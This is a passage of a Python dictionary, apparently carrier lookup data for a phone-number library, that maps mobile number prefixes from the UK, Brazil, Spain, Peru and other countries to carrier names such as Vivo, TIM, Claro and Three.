'4473979':{'en': 'Three'}, '4473978':{'en': 'Three'}, '4474529':{'en': 'Three'}, '4474528':{'en': 'Three'}, '4473975':{'en': 'Three'}, '554798411':{'en': 'Brasil Telecom GSM'}, '4473977':{'en': 'Three'}, '4473976':{'en': 'Three'}, '4473971':{'en': 'Three'}, '4473970':{'en': 'Three'}, '4473973':{'en': 'Three'}, '4473972':{'en': 'Three'}, '551499143':{'en': 'Claro BR'}, '551195784':{'en': 'Vivo'}, '34626':{'en': 'Movistar'}, '34627':{'en': 'Vodafone'}, '554199242':{'en': 'Vivo'}, '34625':{'en': 'Orange'}, '34622':{'en': 'Yoigo'}, '554199245':{'en': 'Vivo'}, '34620':{'en': 'Movistar'}, '554199247':{'en': 'Vivo'}, '554199248':{'en': 'Vivo'}, '554199249':{'en': 'Vivo'}, '34628':{'en': 'Movistar'}, '34629':{'en': 'Movistar'}, '553399137':{'en': 'TIM'}, '553399136':{'en': 'TIM'}, '553399139':{'en': 'TIM'}, '553399138':{'en': 'TIM'}, '554799998':{'en': 'TIM'}, '3474443':{'en': 'InfoVOIP'}, '3474442':{'en': 'Deion'}, '3474449':{'en': 'Alai'}, '3474448':{'en': 'Ion mobile'}, '2347698':{'en': 'Starcomms'}, '554799653':{'en': 'TIM'}, '2347691':{'en': 'Starcomms'}, '2347692':{'en': 'Starcomms'}, '2347693':{'en': 'Starcomms'}, '2347694':{'en': 'Starcomms'}, '2347695':{'en': 'Starcomms'}, '2347696':{'en': 'Starcomms'}, '2347697':{'en': 'Starcomms'}, '551298179':{'en': 'TIM'}, '551298178':{'en': 'TIM'}, '551298171':{'en': 'TIM'}, '551298173':{'en': 'TIM'}, '551298172':{'en': 'TIM'}, '551298175':{'en': 'TIM'}, '551298174':{'en': 'TIM'}, '551298177':{'en': 'TIM'}, '551298176':{'en': 'TIM'}, '1787447':{'en': 'CENTENNIAL'}, '551698128':{'en': 'TIM'}, '551698129':{'en': 'TIM'}, '553199179':{'en': 'TIM'}, '553199178':{'en': 'TIM'}, '551698122':{'en': 'TIM'}, '551698123':{'en': 'TIM'}, '553199177':{'en': 'TIM'}, '551698121':{'en': 'TIM'}, '551698126':{'en': 'TIM'}, '551698127':{'en': 'TIM'}, '1787448':{'en': 'CENTENNIAL'}, '1787449':{'en': 'CENTENNIAL'}, '447894':{'en': 'O2'}, '447895':{'en': 'O2'}, '447896':{'en': 'Orange'}, '447897':{'en': 'Three'}, '447890':{'en': 'Orange'}, '447891':{'en': 'Orange'}, '447893':{'en': 'O2'}, '3464529':{'en': 'MasMovil'}, '447898':{'en': 'Three'}, '447899':{'en': 'Vodafone'}, '553799943':{'en': 'Telemig Celular'}, '554198469':{'en': 'Brasil Telecom GSM'}, '553798413':{'en': 'Claro BR'}, '553798412':{'en': 'Claro BR'}, '26263902':{'en': 'Orange'}, '33601':{'en': 'SFR'}, '26263905':{'en': 'Only'}, '479620':{'en': 'Telenor'}, '306999':{'en': 'Wind'}, '306998':{'en': 'Wind'}, '306997':{'en': 'Wind'}, '306996':{'en': 'Wind'}, '306995':{'en': 'Wind'}, '306994':{'en': 'Wind'}, '306993':{'en': 'Wind'}, '306992':{'en': 'Wind'}, '306991':{'en': 'Wind'}, '4915630':{'en': 'Multiconnect'}, '553199718':{'en': 'Telemig Celular'}, '553199829':{'en': 'Telemig Celular'}, '553199828':{'en': 'Telemig Celular'}, '346122':{'en': 'Lycamobile'}, '51659656':{'en': 'Movistar'}, '346120':{'en': 'Syma'}, '346121':{'en': 'Syma'}, '553199823':{'en': 'Telemig Celular'}, '553199822':{'en': 'Telemig Celular'}, '346124':{'en': 'Lycamobile'}, '346125':{'en': 'Lycamobile'}, '554399930':{'en': 'TIM'}, '554399931':{'en': 'TIM'}, '554399932':{'en': 'TIM'}, '554399933':{'en': 'TIM'}, '554399934':{'en': 'TIM'}, '554399935':{'en': 'TIM'}, '554399936':{'en': 'TIM'}, '554399937':{'en': 'TIM'}, '554399938':{'en': 'TIM'}, '554399939':{'en': 'TIM'}, '55469881':{'en': 'Claro BR'}, '553399955':{'en': 'Telemig Celular'}, '553399954':{'en': 'Telemig Celular'}, '553399957':{'en': 'Telemig Celular'}, '553399956':{'en': 'Telemig Celular'}, '553399951':{'en': 'Telemig Celular'}, '553399953':{'en': 'Telemig Celular'}, '553399952':{'en': 'Telemig Celular'}, '18686':{'en': 'bmobile'}, '553399959':{'en': 'Telemig Celular'}, '553399958':{'en': 'Telemig Celular'}, '553199714':{'en': 'Telemig Celular'}, '552198379':{'en': 'TIM'}, '552198378':{'en': 'TIM'}, '553799186':{'en': 'TIM'}, '553199777':{'en': 'Telemig Celular'}, '553199776':{'en': 'Telemig Celular'}, '553199775':{'en': 'Telemig Celular'}, '553199774':{'en': 'Telemig Celular'}, '553199773':{'en': 'Telemig Celular'}, '553199772':{'en': 'Telemig Celular'}, '553199771':{'en': 'Telemig Celular'}, '553199779':{'en': 'Telemig Celular'}, '553199778':{'en': 'Telemig Celular'}, '180948':{'en': 'Claro'}, '180949':{'en': 'Claro'}, '5037798':{'en': 'Tigo'}, '5037799':{'en': 'Tigo'}, '5037794':{'en': 'Movistar'}, '180941':{'en': 'Viva'}, '180942':{'en': 'Claro'}, '180943':{'en': 'Viva'}, '180944':{'en': 'Viva'}, '180945':{'en': 'Claro'}, '2985':{'en': 'Vodafone'}, '180947':{'en': 'Tricom'}, '4477449':{'en': 'Core Communication'}, '4477448':{'en': 'Core Communication'}, '4477443':{'en': 'Core Communication'}, '4477442':{'en': 'Core Communication'}, '4477445':{'en': 'Core Communication'}, '4477444':{'en': 'Core Communication'}, '4477447':{'en': 'Core Communication'}, '4477446':{'en': 'Core Communication'}, '1787937':{'en': 'CENTENNIAL'}, '1787935':{'en': 'CENTENNIAL'}, '1787933':{'en': 'CENTENNIAL'}, '552198375':{'en': 'TIM'}, '549358':{'en': 'Personal'}, '505859':{'en': 'Movistar'}, '505858':{'en': 'Movistar'}, '505851':{'en': 'Claro'}, '505850':{'en': 'Claro'}, '505853':{'en': 'Claro'}, '505852':{'en': 'Claro'}, '505855':{'en': 'Movistar'}, '505854':{'en': 'Claro'}, '505857':{'en': 'Movistar'}, '505856':{'en': 'Movistar'}, '517396873':{'en': 'Claro'}, '517396872':{'en': 'Claro'}, '517396871':{'en': 'Claro'}, '517396870':{'en': 'Claro'}, '517396877':{'en': 'Claro'}, '517396876':{'en': 'Claro'}, '517396875':{'en': 'Claro'}, '517396879':{'en': 'Claro'}, '517396878':{'en': 'Claro'}, '553199364':{'en': 'TIM'}, '4475599':{'en': 'Resilient'}, '4475598':{'en': 'Nodemax'}, '553199365':{'en': 'TIM'}, '4475595':{'en': 'Confabulate'}, '4475594':{'en': 'Truphone'}, '4475597':{'en': 'Core Telecom'}, '4475596':{'en': 'Lleida.net'}, '4475591':{'en': 'LegendTel'}, '4475590':{'en': 'Mars'}, '4475593':{'en': 'Globecom'}, '4475592':{'en': 'IPV6'}, '553499811':{'en': 'Telemig Celular'}, '553499813':{'en': 'Telemig Celular'}, '549351':{'en': 'Personal'}, '553499815':{'en': 'Telemig Celular'}, '47468':{'en': 'Telenor'}, '553499817':{'en': 'Telemig Celular'}, '553499816':{'en': 'Telemig Celular'}, '35476':{'en': 'Nova'}, '35477':{'en': 'Nova'}, '35478':{'en': 'Nova'}, '35479':{'en': 'Nova'}, '516196173':{'en': 'Claro'}, '516196172':{'en': 'Claro'}, '516196175':{'en': 'Claro'}, '516196174':{'en': 'Claro'}, '42073':{'en': 'T-Mobile'}, '55479922':{'en': 'Vivo'}, '55129962':{'en': 'Vivo'}, '55129961':{'en': 'Vivo'}, '55129960':{'en': 'Vivo'}, '503702':{'en': 'Claro'}, '514494808':{'en': 'Claro'}, '514494809':{'en': 'Claro'}, '514494806':{'en': 'Claro'}, '514494807':{'en': 'Claro'}, '389734':{'en': 'Vip'}, '514494805':{'en': 'Claro'}, '389732':{'en': 'Vip'}, '389733':{'en': 'Telekom'}, '514494801':{'en': 'Movistar'}, '553199612':{'en': 'Telemig Celular'}, '231330':{'en': 'West Africa Telecom'}, '553199613':{'en': 'Telemig Celular'}, '124626':{'en': 'Digicel'}, '124624':{'en': 'LIME'}, '124623':{'en': 'LIME'}, '124628':{'en': 'LIME'}, '3469329':{'en': 'Orange'}, '551899777':{'en': 'Vivo'}, '3469320':{'en': 'Carrefour'}, '3469321':{'en': 'Carrefour'}, '21270':{'en': 'Inwi'}, '21277':{'en': u('M\u00e9ditel')}, '21276':{'en': 'Maroc Telecom'}, '553499199':{'en': 'TIM'}, '551899772':{'en': 'Vivo'}, '551899773':{'en': 'Vivo'}, '358438':{'en': 'DNA'}, '358436':{'en': 'DNA'}, '551899771':{'en': 'Vivo'}, '459228':{'en': 'Mundio Mobile'}, '459229':{'en': 'Beepsend AB'}, '45538':{'en': '3'}, '45539':{'en': 'CBB Mobil'}, '459224':{'en': 'SimService'}, '45537':{'en': '3'}, '45534':{'en': 'Telia'}, '459227':{'en': 'Mundio Mobile'}, '459220':{'en': 'Telenor Connexion AB'}, '459221':{'en': 'SimService'}, '459222':{'en': 'Bolignet-Aarhus F.M.B.A.'}, '45531':{'en': 'CBB Mobil'}, '254748':{'en': 'Safaricom'}, '254749':{'en': 'WiAfrica'}, '554398418':{'en': 'Brasil Telecom GSM'}, '554398419':{'en': 'Brasil Telecom GSM'}, '254742':{'en': 'Safaricom'}, '254743':{'en': 'Safaricom'}, '254740':{'en': 'Safaricom'}, '254741':{'en': 'Safaricom'}, '254746':{'en': 'Safaricom'}, '254747':{'en': 'JTL'}, '254744':{'en': 'Homeland Media'}, '254745':{'en': 'Safaricom'}, '552299228':{'en': 'Claro BR'}, '455220':{'en': 'CoolTEL'}, '455222':{'en': 'Lebara Limited'}, '553899171':{'en': 'TIM'}, '455225':{'en': 'CBB Mobil'}, '3249':{'en': 'Orange'}, '3248':{'en': 'Telenet'}, '553899178':{'en': 'TIM'}, '553899179':{'en': 'TIM'}, '553899176':{'en': 'TIM'}, '515495823':{'en': 'Claro'}, '515495820':{'en': 'Claro'}, '515495821':{'en': 'Claro'}, '3247':{'en': 'Proximus'}, '515495827':{'en': 'Claro'}, '515495824':{'en': 'Claro'}, '515495825':{'en': 'Claro'}, '459218':{'en': 'Telenor Connexion AB'}, '517697622':{'en': 'Claro'}, '517697621':{'en': 'Claro'}, '551799791':{'en': 'Vivo'}, '447717':{'en': 'Vodafone'}, '515295270':{'en': 'Claro'}, '552299225':{'en': 'Claro BR'}, '347446':{'en': 'PTV'}, '1787971':{'en': 'CENTENNIAL'}, '551898810':{'en': 'Oi'}, '551898811':{'en': 'Oi'}, '553799144':{'en': 'TIM'}, '1787975':{'en': 'CENTENNIAL'}, '554199801':{'en': 'TIM'}, '552299227':{'en': 'Claro BR'}, '1876559':{'en': 'Digicel'}, '1876558':{'en': 'Digicel'}, '1876554':{'en': 'Digicel'}, '1876557':{'en': 'Digicel'}, '1876556':{'en': 'Digicel'}, '1876551':{'en': 'Digicel'}, '1876550':{'en': 'Digicel'}, '1876553':{'en': 'Digicel'}, '1876552':{'en': 'Digicel'}, '23120':{'en': 'LIBTELCO'}, '51619616':{'en': 'Movistar'}, '233554':{'en': 'MTN'}, '233555':{'en': 'MTN'}, '233556':{'en': 'MTN'}, '233557':{'en': 'MTN'}, '233553':{'en': 'MTN'}, '233558':{'en': 'MTN'}, '503618':{'en': 'Movistar'}, '503611':{'en': 'Movistar'}, '503610':{'en': 'Movistar'}, '503613':{'en': 'Movistar'}, '503612':{'en': 'Movistar'}, '503615':{'en': 'Movistar'}, '503614':{'en': 'Movistar'}, '503617':{'en': 'Movistar'}, '503616':{'en': 'Movistar'}, '554199226':{'en': 'Vivo'}, '554199227':{'en': 'Vivo'}, '554199224':{'en': 'Vivo'}, '554199225':{'en': 'Vivo'}, '34608':{'en': 'Movistar'}, '34609':{'en': 'Movistar'}, '3460229':{'en': 'Boutique'}, '34605':{'en': 'Orange'}, '34606':{'en': 'Movistar'}, '34607':{'en': 'Vodafone'}, '34600':{'en': 'Vodafone'}, '554199228':{'en': 'Vivo'}, '3460221':{'en': 'Ion mobile'}, '1671888':{'en': 'Choice Phone'}, '2305478':{'en': 'Emtel'}, '2305479':{'en': 'Emtel'}, '2305476':{'en': 'Emtel'}, '2305477':{'en': 'Emtel'}, '2305474':{'en': 'Emtel'}, '2305475':{'en': 'Emtel'}, '2305472':{'en': 'Emtel'}, '2305473':{'en': 'Emtel'}, '2305471':{'en': 'Cellplus'}, '373621':{'en': 'Orange'}, '373620':{'en': 'Orange'}, '552799265':{'en': 'Claro BR'}, '551899197':{'en': 'Claro BR'}, '551298159':{'en': 'TIM'}, '551298158':{'en': 'TIM'}, '551298157':{'en': 'TIM'}, '551298156':{'en': 'TIM'}, '551298155':{'en': 'TIM'}, '551298154':{'en': 'TIM'}, '551298153':{'en': 'TIM'}, '551298152':{'en': 'TIM'}, '551298151':{'en': 'TIM'}, '553599187':{'en': 'TIM'}, '553599181':{'en': 'TIM'}, '447878':{'en': 'Three'}, '447879':{'en': 'Vodafone'}, '447876':{'en': 'Vodafone'}, '447877':{'en': 'Three'}, '447875':{'en': 'Orange'}, '447872':{'en': 'O2'}, '447873':{'en': 'O2'}, '447870':{'en': 'Orange'}, '2236':{'en': 'Sotelma'}, '372577':{'en': 'Elisa'}, '553599193':{'en': 'TIM'}, '1787392':{'en': 'Claro'}, '1787390':{'en': 'Claro'}, '1787391':{'en': 'Claro'}, '552198307':{'en': 'TIM'}, '554598806':{'en': 'Claro BR'}, '552899952':{'en': 'Vivo'}, '553599192':{'en': 'TIM'}, '551196169':{'en': 'Claro BR'}, '551196168':{'en': 'Claro BR'}, '240222':{'en': 'GETESA'}, '553299109':{'en': 'TIM'}, '553299108':{'en': 'TIM'}, '55379998':{'en': 'Telemig Celular'}, '554198447':{'en': 'Brasil Telecom GSM'}, '553199845':{'en': 'Telemig Celular'}, '553199844':{'en': 'Telemig Celular'}, '2348190':{'en': 'Starcomms'}, '2348191':{'en': 'Starcomms'}, '553199841':{'en': 'Telemig Celular'}, '553199843':{'en': 'Telemig Celular'}, '553199842':{'en': 'Telemig Celular'}, '553199849':{'en': 'Telemig Celular'}, '551799627':{'en': 'Vivo'}, '553299101':{'en': 'TIM'}, '551799621':{'en': 'Vivo'}, '553299102':{'en': 'TIM'}, '553399168':{'en': 'TIM'}, '1264729':{'en': 'Cable & Wireless'}, '554699119':{'en': 'Vivo'}, '554699118':{'en': 'Vivo'}, '554699115':{'en': 'Vivo'}, '554699114':{'en': 'Vivo'}, '554699117':{'en': 'Vivo'}, '554699116':{'en': 'Vivo'}, '554699111':{'en': 'Vivo'}, '554699113':{'en': 'Vivo'}, '554699112':{'en': 'Vivo'}, '553399979':{'en': 'Telemig Celular'}, '553399978':{'en': 'Telemig Celular'}, '553399973':{'en': 'Telemig Celular'}, '553399972':{'en': 'Telemig Celular'}, '5511996':{'en': 'Vivo'}, '553399977':{'en': 'Telemig Celular'}, '553399976':{'en': 'Telemig Celular'}, '553399975':{'en': 'Telemig Celular'}, '553399974':{'en': 'Telemig Celular'}, '517497998':{'en': 'Movistar'}, '517497999':{'en': 'Movistar'}, '517497996':{'en': 'Movistar'}, '517497997':{'en': 'Movistar'}, '517497992':{'en': 'Movistar'}, '517497993':{'en': 'Movistar'}, '517497990':{'en': 'Movistar'}, '517497991':{'en': 'Movistar'}, '1268729':{'en': 'APUA'}, '1767277':{'en': 'Cable & Wireless'}, '1767276':{'en': 'Cable & Wireless'}, '1767275':{'en': 'Cable & Wireless'}, '553199715':{'en': 'Telemig Celular'}, '1268722':{'en': 'Digicel'}, '1268721':{'en': 'Digicel'}, '1268720':{'en': 'Digicel'}, '1268727':{'en': 'APUA'}, '1268726':{'en': 'Digicel'}, '1268725':{'en': 'Digicel'}, '1268724':{'en': 'Digicel'}, '180922':{'en': 'Claro'}, '180923':{'en': 'Claro'}, '180920':{'en': 'Tricom'}, '180926':{'en': 'Claro'}, '180927':{'en': 'Claro'}, '180924':{'en': 'Claro'}, '180925':{'en': 'Claro'}, '180928':{'en': 'Claro'}, '180929':{'en': 'Tricom'}, '1784528':{'en': 'Digicel'}, '1784529':{'en': 'Digicel'}, '554299945':{'en': 'TIM'}, '1784526':{'en': 'Digicel'}, '1784527':{'en': 'Digicel'}, '554799242':{'en': 'Vivo'}, '554799243':{'en': 'Vivo'}, '554799240':{'en': 'Vivo'}, '554799241':{'en': 'Vivo'}, '554799246':{'en': 'Vivo'}, '554799244':{'en': 'Vivo'}, '554799245':{'en': 'Vivo'}, '554299941':{'en': 'TIM'}, '1242727':{'en': 'BaTelCo'}, '553599199':{'en': 'TIM'}, '1787952':{'en': 'CENTENNIAL'}, '1787953':{'en': 'CENTENNIAL'}, '1787954':{'en': 'CENTENNIAL'}, '1787957':{'en': 'CENTENNIAL'}, '551498111':{'en': 'TIM'}, '447508':{'en': 'EE'}, '447506':{'en': 'EE'}, '447507':{'en': 'EE'}, '447504':{'en': 'EE'}, '447505':{'en': 'EE'}, '447502':{'en': 'Vodafone'}, '447503':{'en': 'Vodafone'}, '447500':{'en': 'Vodafone'}, '447501':{'en': 'Vodafone'}, '505873':{'en': 'Claro'}, '505872':{'en': 'Claro'}, '505871':{'en': 'Claro'}, '505870':{'en': 'Claro'}, '505877':{'en': 'Movistar'}, '505876':{'en': 'Movistar'}, '505875':{'en': 'Movistar'}, '505874':{'en': 'Claro'}, '505879':{'en': 'Movistar'}, '505878':{'en': 'Movistar'}, '551498114':{'en': 'TIM'}, '551498117':{'en': 'TIM'}, '553299931':{'en': 'Telemig Celular'}, '551498116':{'en': 'TIM'}, '22571':{'en': 'Moov'}, '22575':{'en': 'MTN'}, '22574':{'en': 'MTN'}, '22577':{'en': 'Orange'}, '22576':{'en': 'MTN'}, '45411':{'en': 'Telenor'}, '551197087':{'en': 'Vivo'}, '516196155':{'en': 'Movistar'}, '516196154':{'en': 'Movistar'}, '516196153':{'en': 'Movistar'}, '45413':{'en': 'Telenor'}, '516196151':{'en': 'Movistar'}, '516196150':{'en': 'Movistar'}, '23357':{'en': 'tiGO'}, '23354':{'en': 'MTN'}, '4476243':{'en': 'Manx Telecom'}, '553299924':{'en': 'Telemig Celular'}, '23350':{'en': 'Vodafone'}, '552899257':{'en': 'Claro BR'}, '45415':{'en': 'Telenor'}, '552899254':{'en': 'Claro BR'}, '4476246':{'en': 'Manx Telecom'}, '552899252':{'en': 'Claro BR'}, '45419':{'en': 'Telenor'}, '45418':{'en': 'Telenor'}, '552899251':{'en': 'Claro BR'}, '553199654':{'en': 'Telemig Celular'}, '553199655':{'en': 'Telemig Celular'}, '553598475':{'en': 'Claro BR'}, '553199656':{'en': 'Telemig Celular'}, '552498123':{'en': 'TIM'}, '553199657':{'en': 'Telemig Celular'}, '262692':{'en': 'SFR'}, '554399112':{'en': 'Vivo'}, '553199652':{'en': 'Telemig Celular'}, '552299104':{'en': 'Claro BR'}, '553199653':{'en': 'Telemig Celular'}, '553199391':{'en': 'TIM'}, '389718':{'en': 'T-Mobile'}, '389719':{'en': 'T-Mobile'}, '554399111':{'en': 'Vivo'}, '389711':{'en': 'T-Mobile'}, '389712':{'en': 'T-Mobile'}, '389713':{'en': 'T-Mobile'}, '389714':{'en': 'T-Mobile'}, '389715':{'en': 'T-Mobile'}, '389716':{'en': 'T-Mobile'}, '389717':{'en': 'T-Mobile'}, '554399114':{'en': 'Vivo'}, '554399115':{'en': 'Vivo'}, '553199659':{'en': 'Telemig Celular'}, '551999634':{'en': 'Vivo'}, '551999635':{'en': 'Vivo'}, '551999636':{'en': 'Vivo'}, '551999637':{'en': 'Vivo'}, '551999631':{'en': 'Vivo'}, '551999632':{'en': 'Vivo'}, '551999633':{'en': 'Vivo'}, '551999638':{'en': 'Vivo'}, '551999639':{'en': 'Vivo'}, '515695622':{'en': 'Claro'}, '515695623':{'en': 'Claro'}, '515695620':{'en': 'Claro'}, '515695621':{'en': 'Claro'}, '515695626':{'en': 'Claro'}, '515695624':{'en': 'Claro'}, '515695625':{'en': 'Claro'}, '124645':{'en': 'Sunbeach Communications'}, '1868269':{'en': 'bmobile'}, '1868266':{'en': 'bmobile'}, '1868267':{'en': 'bmobile'}, '553899111':{'en': 'TIM'}, '506573':{'en': 'OMV'}, '506572':{'en': 'OMV'}, '506571':{'en': 'OMV'}, '506570':{'en': 'OMV'}, '37533':{'be': u('\u041c\u0422\u0421'), 'en': 'MTS', 'ru': u('\u041c\u0422\u0421')}, '45514':{'en': 'TDC'}, '358458':{'en': 'Elisa'}, '4476637':{'en': 'Vodafone'}, '4476636':{'en': 'Relax'}, '45511':{'en': 'TDC'}, '45512':{'en': 'TDC'}, '45513':{'en': 'TDC'}, '358451':{'en': 'Elisa'}, '358450':{'en': 'Telia'}, '358453':{'en': 'Elisa'}, '358452':{'en': 'Elisa'}, '45518':{'en': 'TDC'}, '45519':{'en': 'TDC'}, '358456':{'en': 'Elisa'}, '553899809':{'en': 'Telemig Celular'}, '455242':{'en': 'CBB Mobil'}, '455240':{'en': 'YouSee'}, '554599138':{'en': 'Vivo'}, '455244':{'en': 'CBB Mobil'}, '1242446':{'en': 'BaTelCo'}, '515495800':{'en': 'Movistar'}, '515495801':{'en': 'Movistar'}, '515495802':{'en': 'Movistar'}, '515495803':{'en': 'Movistar'}, '515495804':{'en': 'Movistar'}, '515495805':{'en': 'Claro'}, '515495806':{'en': 'Claro'}, '515495807':{'en': 'Claro'}, '517697604':{'en': 'Movistar'}, '515495809':{'en': 'Claro'}, '517697606':{'en': 'Movistar'}, '517697600':{'en': 'Movistar'}, '517697601':{'en': 'Movistar'}, '517697602':{'en': 'Movistar'}, '517697603':{'en': 'Movistar'}, '3469302':{'en': 'MasMovil'}, '3469303':{'en': 'MasMovil'}, '3469300':{'en': 'MasMovil'}, '3469301':{'en': 'MasMovil'}, '3469306':{'en': 'MasMovil'}, '3469304':{'en': 'MasMovil'}, '3469305':{'en': 'MasMovil'}, '25293':{'en': 'STG'}, '1242448':{'en': 'BaTelCo'}, '1242449':{'en': 'BaTelCo'}, '551698159':{'en': 'TIM'}, '324661':{'en': 'Lycamobile'}, '324660':{'en': 'Lycamobile'}, '324663':{'en': 'Lycamobile'}, '324662':{'en': 'Lycamobile'}, '324665':{'en': 'Vectone'}, '324664':{'en': 'Lycamobile'}, '324667':{'en': 'Vectone'}, '324666':{'en': 'Vectone'}, '324669':{'en': 'Voxbone SA'}, '551298122':{'en': 'TIM'}, '551298123':{'en': 'TIM'}, '254764':{'en': 'Finserve'}, '254765':{'en': 'Finserve'}, '254766':{'en': 'Finserve'}, '254767':{'en': 'Sema Mobile'}, '254760':{'en': 'Mobile Pay'}, '254761':{'en': 'Airtel'}, '254762':{'en': 'Airtel'}, '254763':{'en': 'Finserve'}, '554599929':{'en': 'TIM'}, '254768':{'en': 'Airtel'}, '254769':{'en': 'Airtel'}, '375298':{'be': u('\u041c\u0422\u0421'), 'en': 'MTS', 'ru': u('\u041c\u0422\u0421')}, '375299':{'be': 'Velcom', 'en': 'Velcom', 'ru': 'Velcom'}, '47478':{'en': 'Telenor'}, '375292':{'be': u('\u041c\u0422\u0421'), 'en': 'MTS', 'ru': u('\u041c\u0422\u0421')}, '375293':{'be': 'Velcom', 'en': 'Velcom', 'ru': 'Velcom'}, '375291':{'be': 'Velcom', 'en': 'Velcom', 'ru': 'Velcom'}, '375296':{'be': 'Velcom', 'en': 'Velcom', 'ru': 'Velcom'}, '375297':{'be': u('\u041c\u0422\u0421'), 'en': 'MTS', 'ru': u('\u041c\u0422\u0421')}, '47473':{'en': 'Tele2'}, '375295':{'be': u('\u041c\u0422\u0421'), 'en': 'MTS', 'ru': u('\u041c\u0422\u0421')}, '554599925':{'en': 'TIM'}, '2348382':{'en': 'Starcomms'}, '2348381':{'en': 'Starcomms'}, '2348380':{'en': 'Starcomms'}, '551298129':{'en': 'TIM'}, '554198412':{'en': 'Brasil Telecom GSM'}, '55149982':{'en': 'Vivo'}, '55149981':{'en': 'Vivo'}, '447871':{'en': 'O2'}, '551699741':{'en': 'Vivo'}, '551699743':{'en': 'Vivo'}, '551699742':{'en': 'Vivo'}, '551699745':{'en': 'Vivo'}, '551699744':{'en': 'Vivo'}, '551699747':{'en': 'Vivo'}, '551699746':{'en': 'Vivo'}, '551699749':{'en': 'Vivo'}, '551699748':{'en': 'Vivo'}, '231555':{'en': 'Novafone'}, '554798454':{'en': 'Brasil Telecom GSM'}, '554798455':{'en': 'Brasil Telecom GSM'}, '55419910':{'en': 'Vivo'}, '554798457':{'en': 'Brasil Telecom GSM'}, '554798451':{'en': 'Brasil Telecom GSM'}, '554798452':{'en': 'Brasil Telecom GSM'}, '554798453':{'en': 'Brasil Telecom GSM'}, '31636':{'en': 'Tele2'}, '31637':{'en': 'Teleena (MVNE)'}, '31634':{'en': 'T-Mobile'}, '31633':{'en': 'Telfort'}, '31630':{'en': 'KPN'}, '31631':{'en': 'Vodafone Libertel B.V.'}, '554199208':{'en': 'Vivo'}, '554199209':{'en': 'Vivo'}, '554199204':{'en': 'Vivo'}, '554199205':{'en': 'Vivo'}, '554199206':{'en': 'Vivo'}, '554199207':{'en': 'Vivo'}, '554199201':{'en': 'Vivo'}, '554199202':{'en': 'Vivo'}, '554199203':{'en': 'Vivo'}, '34669':{'en': 'Movistar'}, '514194188':{'en': 'Movistar'}, '514194189':{'en': 'Movistar'}, '34662':{'en': 'Vodafone'}, '34663':{'en': 'Vodafone'}, '34660':{'en': 'Movistar'}, '34661':{'en': 'Vodafone'}, '34666':{'en': 'Vodafone'}, '34667':{'en': 'Vodafone'}, '34664':{'en': 'Vodafone'}, '34665':{'en': 'Orange'}, '551899791':{'en': 'Vivo'}, '22504':{'en': 'MTN'}, '22505':{'en': 'MTN'}, '22506':{'en': 'MTN'}, '22507':{'en': 'Orange'}, '22501':{'en': 'Moov'}, '22502':{'en': 'Moov'}, '22503':{'en': 'Moov'}, '22508':{'en': 'Orange'}, '22509':{'en': 'Orange'}, '267766':{'en': 'Mascom'}, '267767':{'en': 'Mascom'}, '267764':{'en': 'Orange'}, '267765':{'en': 'Orange'}, '267762':{'en': 'Mascom'}, '383458':{'en': 'vala'}, '267760':{'en': 'Mascom'}, '267761':{'en': 'Mascom'}, '383455':{'en': 'Z Mobile'}, '383454':{'en': 'vala'}, '383457':{'en': 'vala'}, '383456':{'en': 'Z Mobile'}, '383451':{'en': 'vala'}, '267768':{'en': 'BTC Mobile'}, '383452':{'en': 'vala'}, '517297292':{'en': 'Movistar'}, '517297291':{'en': 'Movistar'}, '517297290':{'en': 'Movistar'}, '517297297':{'en': 'Movistar'}, '517297296':{'en': 'Movistar'}, '5025311':{'en': 'Telgua'}, '5025310':{'en': 'Telgua'}, '517297298':{'en': 'Movistar'}, '503630':{'en': 'Claro'}, '2347386':{'en': 'Starcomms'}, '2347387':{'en': 'Starcomms'}, '2347384':{'en': 'Starcomms'}, '2347385':{'en': 'Starcomms'}, '2347382':{'en': 'Starcomms'}, '2347383':{'en': 'Starcomms'}, '2347380':{'en': 'Starcomms'}, '2347381':{'en': 'Starcomms'}, '551298139':{'en': 'TIM'}, '26771':{'en': 'Mascom'}, '551698166':{'en': 'TIM'}, '551698167':{'en': 'TIM'}, '551698164':{'en': 'TIM'}, '551698165':{'en': 'TIM'}, '551698162':{'en': 'TIM'}, '551698163':{'en': 'TIM'}, '554198407':{'en': 'Brasil Telecom GSM'}, '551698161':{'en': 'TIM'}, '554198409':{'en': 'Brasil Telecom GSM'}, '553199782':{'en': 'Telemig Celular'}, '1787400':{'en': 'CENTENNIAL'}, '551698168':{'en': 'TIM'}, '551698169':{'en': 'TIM'}, '447859':{'en': 'Three'}, '5514996':{'en': 'Vivo'}, '447852':{'en': 'EE'}, '447853':{'en': 'Three'}, '447854':{'en': 'Orange'}, '447855':{'en': 'Orange'}, '5514997':{'en': 'Vivo'}, '553399123':{'en': 'TIM'}, '515295299':{'en': 'Movistar'}, '515295298':{'en': 'Movistar'}, '515295297':{'en': 'Movistar'}, '515295296':{'en': 'Movistar'}, '515295295':{'en': 'Movistar'}, '515295294':{'en': 'Movistar'}, '515295293':{'en': 'Movistar'}, '515295292':{'en': 'Movistar'}, '25235':{'en': 'AirSom'}, '25239':{'en': 'AirSom'}, '552799281':{'en': 'Claro BR'}, '552799282':{'en': 'Claro BR'}, '552799283':{'en': 'Claro BR'}, '552799284':{'en': 'Claro BR'}, '552799285':{'en': 'Claro BR'}, '552799286':{'en': 'Claro BR'}, '552799287':{'en': 'Claro BR'}, '552799288':{'en': 'Claro BR'}, '552799289':{'en': 'Claro BR'}, '4915678':{'en': 'Argon Networks'}, '1939201':{'en': 'CENTENNIAL'}, '551799744':{'en': 'Vivo'}, '552498122':{'en': 'TIM'}, '551799745':{'en': 'Vivo'}, '551298135':{'en': 'TIM'}, '554699132':{'en': 'Vivo'}, '554699131':{'en': 'Vivo'}, '553799942':{'en': 'Telemig Celular'}, '356989':{'en': 'Vodafone'}, '553799941':{'en': 'Telemig Celular'}, '553799946':{'en': 'Telemig Celular'}, '553799947':{'en': 'Telemig Celular'}, '553799944':{'en': 'Telemig Celular'}, '553799945':{'en': 'Telemig Celular'}, '553799948':{'en': 'Telemig Celular'}, '553799949':{'en': 'Telemig Celular'}, '37252':{'en': 'EMT'}, '18683':{'en': 'Digicel'}, '37250':{'en': 'EMT'}, '37256':{'en': 'Elisa'}, '18687':{'en': 'bmobile'}, '18684':{'en': 'bmobile'}, '37255':{'en': 'Tele 2'}, '37258':{'en': 'Tele 2'}, '553199294':{'en': 'TIM'}, '553199869':{'en': 'Telemig Celular'}, '553199868':{'en': 'Telemig Celular'}, '553199863':{'en': 'Telemig Celular'}, '553199862':{'en': 'Telemig Celular'}, '553199861':{'en': 